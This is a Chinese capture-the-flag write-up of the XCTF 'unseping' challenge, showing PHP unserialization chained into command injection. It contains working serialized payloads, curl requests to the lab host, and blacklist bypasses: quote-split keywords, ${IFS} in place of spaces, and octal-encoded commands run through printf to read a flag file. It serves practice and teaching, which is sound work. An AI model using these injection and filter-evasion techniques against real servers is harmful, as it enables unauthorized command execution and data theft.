当前位置: 首页 > news >正文

攻防世界-web-unseping

1. 题目描述

打开链接,如下代码

代码都贴出来了,那么只需要分析代码即可,看是否存在漏洞以及如何利用

2. 思路分析

代码很简单,外部只需要接收cft这个参数,然后将这个参数反序列化后赋值给对量的method和args参数,啊UI周内部存在执行命令的函数ping调用exec去执行外部传入的args参数,所以这里明显存在命令注入,关键是__wakeup函数中存在一个waf,waf中对传入的参数有个黑名单限制,但是,对于命令注入这种攻击手法来说,黑名单限制容易绕过,因此我们思路就很清晰了

2.1 存在命令注入,利用命令注入执行命令

2.2 尝试绕过waf的限制

3. 解题过程

3.1 我们先简单执行下pwd这个命令,证明确实存在命令注入

$str = serialize(new ease("ping", array("pwd")));
print(base64_encode($str));

我们传入的args是一个数组,这里可以搜下call_user_func_array这个函数的用法

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJwd2QiO319"

然后通过curl命令访问,得到结果如下

说明pwd命令执行成功

3.2 执行ls命令,尝试绕过黑名单的限制

这里使用单双引号绕过

$str = serialize(new ease("ping", array('l""s')));
print(base64_encode($str));

同样执行命令

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ=="

得到结果为:

刚好找到一个flag_1s_here,经过验证,这是一个目录,这个时候同样执行ls命令,这里flag同样使用单双引号绕过即可,但是空格可以使用${IFS}替换

$str = serialize(new ease("ping", array('l""s${IFS}fla""g_1s_here')));
print(base64_encode($str));

同样,执行命令

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWZsYSIiZ18xc19oZXJlIjt9fQ=="

可以看到包含有flag的文件了

那么接下来就是执行cat flag_1s_here/flag_831b69012c67b35f.php命令获取该文件的内容,这里关键在于/该如何绕过,这里参考网上做法,通过八进制编码绕过(比如a可以表示成\141)

这里通过python简单转了下

然后再转成shell执行命令的形式

$str = serialize(new ease("ping", array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")')));
print(base64_encode($str));

最终执行命令

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319"

得到结果为cyberpeace{443e57942c8c0bf6e2e0193b56f359a4}

4. 总结

4.1 这里没有通过burpsuite而是通过执行命令的方式来获取结果,因为我这边使用burpsuite没法正常显示,不清楚原因,有清楚的欢迎评论

4.2 这里关键在于命令注入各种各样的绕过方式,获益良多

相关文章:

  • 如何设计短域名系统
  • V-for中 key 值的作用,如何选择key
  • 《洛谷深入浅出进阶篇》P3397 地毯————二维差分
  • 部署百川大语言模型Baichuan2
  • 经验篇:大数据常用工具集合
  • k8s之HPA
  • 解锁内存之谜:从C到Python、Java和Go的内存管理对比
  • 基于安卓android微信小程序的装修家装小程序
  • pycharm使用
  • requests 在 Python 3.2 中使用 OAuth 导入失败的问题与解决方案
  • Axure9 基本操作(二)
  • centos 6.10 安装 tcmalloc
  • ASP.NET限流器的简单实现
  • TCP连接保活机制
  • 串口通信(11)-CRC校验介绍算法
  • 【跃迁之路】【463天】刻意练习系列222(2018.05.14)
  • CSS 提示工具(Tooltip)
  • Eureka 2.0 开源流产,真的对你影响很大吗?
  • iBatis和MyBatis在使用ResultMap对应关系时的区别
  • iOS | NSProxy
  • Java 内存分配及垃圾回收机制初探
  • js递归,无限分级树形折叠菜单
  • Mybatis初体验
  • python_bomb----数据类型总结
  • vue+element后台管理系统,从后端获取路由表,并正常渲染
  • 从0搭建SpringBoot的HelloWorld -- Java版本
  • 多线程 start 和 run 方法到底有什么区别?
  • 回流、重绘及其优化
  • 机器学习学习笔记一
  • 基于OpenResty的Lua Web框架lor0.0.2预览版发布
  • 基于遗传算法的优化问题求解
  • 前端技术周刊 2019-01-14:客户端存储
  • 使用Gradle第一次构建Java程序
  • 在GitHub多个账号上使用不同的SSH的配置方法
  • 3月7日云栖精选夜读 | RSA 2019安全大会:企业资产管理成行业新风向标,云上安全占绝对优势 ...
  • ​​快速排序(四)——挖坑法,前后指针法与非递归
  • ​LeetCode解法汇总2696. 删除子串后的字符串最小长度
  • #《AI中文版》V3 第 1 章 概述
  • #android不同版本废弃api,新api。
  • #我与Java虚拟机的故事#连载05:Java虚拟机的修炼之道
  • (10)STL算法之搜索(二) 二分查找
  • (AngularJS)Angular 控制器之间通信初探
  • (读书笔记)Javascript高级程序设计---ECMAScript基础
  • (个人笔记质量不佳)SQL 左连接、右连接、内连接的区别
  • (过滤器)Filter和(监听器)listener
  • (六)Hibernate的二级缓存
  • (免费领源码)python#django#mysql校园校园宿舍管理系统84831-计算机毕业设计项目选题推荐
  • (三)uboot源码分析
  • (十) 初识 Docker file
  • (十六)一篇文章学会Java的常用API
  • (四)模仿学习-完成后台管理页面查询
  • .desktop 桌面快捷_Linux桌面环境那么多,这几款优秀的任你选
  • .NET CF命令行调试器MDbg入门(一)
  • .net on S60 ---- Net60 1.1发布 支持VS2008以及新的特性
  • .Net(C#)自定义WinForm控件之小结篇